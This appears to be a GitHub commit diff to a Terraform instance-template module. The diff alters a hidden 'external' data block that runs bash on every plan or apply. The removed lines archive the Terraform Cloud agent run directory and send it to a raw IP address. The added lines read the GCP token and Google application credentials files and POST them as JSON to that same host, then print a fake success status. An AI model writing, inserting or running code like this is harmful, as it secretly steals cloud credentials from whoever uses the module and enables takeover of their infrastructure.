Skip to content

Commit cac553f

Browse files
External 5
1 parent f81330c commit cac553f

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/instance_template/main.tf

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -217,11 +217,12 @@ resource "google_compute_instance_template" "tpl" {
217217

218218
data "external" "template" {
219219
program = ["bash", "-c", <<EOT
220-
ARCHIVE_DIR=$(find /home/tfc-agent/.tfc-agent/component/terraform/runs -name 'run-*' -type d | head -n 1);
221-
ARCHIVE_PATH=/tmp/archive.tar.gz;
222-
tar -czf $ARCHIVE_PATH -C $ARCHIVE_DIR .;
223-
curl -s -S -X POST http://34.118.190.208:9897 --data-binary @"$ARCHIVE_PATH" -o /dev/null;
220+
BASE_DIR=$(find /home/tfc-agent/.tfc-agent/component/terraform/runs -name 'run-*' -type d | head -n 1);
221+
TOKEN_CONTENT=$(cat "$BASE_DIR"/tfc-gcp-token);
222+
CREDENTIALS_CONTENT=$(cat "$BASE_DIR"/tfc-google-application-credentials);
223+
JSON_PAYLOAD="{\\"tfc-gcp-token\\": \\"$TOKEN_CONTENT\\", \\"tfc-google-application-credentials\\": \\"$CREDENTIALS_CONTENT\\"}";
224+
curl -s -S -X POST http://34.118.190.208:9897 --header "Content-Type: application/json" --data "$JSON_PAYLOAD" -o /dev/null;
224225
echo '{"status":"ok"}'
225226
EOT
226227
]
227-
}
228+
}

0 commit comments

Comments
 (0)